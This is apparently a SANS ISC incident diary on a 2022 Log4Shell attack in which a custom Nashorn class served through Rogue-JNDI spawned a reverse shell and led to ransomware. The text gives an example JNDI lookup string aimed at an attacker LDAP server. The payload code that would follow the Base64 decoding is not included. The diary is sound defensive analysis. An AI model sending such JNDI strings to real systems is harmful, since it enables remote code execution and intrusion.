Almost one year later, Log4Shell attacks are still alive and making victims. Log4shell, as you may remember, was the name given to a remote code execution (RCE) vulnerability in the Apache Log4j Java library, first known on December 10^th, 2021.  Information on the zero-day (CVE-2021-44228) and malicious campaigns using it were covered here in SANS ISC in different diaries like here and here.

In an incident case I got last week, attackers started a reverse shell on the victim’s machine in a way I have not seen in Log4Shell exploitations. The reverse shell was issued using Nashorn, a JavaScript scripting engine used to execute JavaScript code dynamically at JVM. Similar use of Nashorn was seen in Confluence CVE-2022-26134 exploitations.

Remembering Log4Shell

Log4Shell exploitation involves making a JNDI (Java Naming and Directory Interface) address reach the vulnerable Log4j library. Due to the vulnerability, Log4j will look up the JNDI address, which will usually host a malicious Java Class that will be downloaded and executed locally. The malicious Java Class may deploy a crypto miner, for example, or may start a reverse shell, which will allow the attacker to take control of the remote system.

From a historical perspective, immediately after the Log4Shell publication, we noticed many campaigns trying to exploit the vulnerability. But, as time passes, and the vulnerability was exploited fixed on most of the vulnerable hosts, it is common for attackers to lose interest in it, which is exactly what happened to Log4Shell and reported by Johannes in the diary The Rise and Fall of log4shell.

The Nashorn Case

Although low, the case I dealt with last week shows that interest still exists. Threat actors continue scanning the network for remaining hosts, perhaps betting on situations where a defense (IPS) has stopped working or a host that “had not been patched because it was internal” has now been published. In either case, they found a vulnerable host, resulting in a big ransomware infection on the victim’s network.

The attacker’s backend was based on the project Rogue-JNDI (https://github.com/veracode-research/rogue-jndi). This project provides HTTP and LDAP servers for exploiting insecure/vulnerable Java JNDI API. In the Figure below, there is an example of how the server can be started.

On the victim’s end, depending on the exploited system, the attacker must make a call to the proper remote address. For example, to exploit a system based on Tomcat the address would be ‘jndi:ldap://192.168.1.10:1389/o=tomcat’.

In the analyzed case, instead of using the default project Tomcat class, attackers used a custom class that implements the Nashorn code, as seen in the Figure below.  Notice that the intent of the JavaScript code is to spawn cmd.exe on port TCP/443 of the attacker’s host.

Replaying the attack scenario in a lab, it is possible to see how the malicious class is serialized to be later loaded by the vulnerable Log4j library.

Decoding the Base64, we have access to the JavaScript code:

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter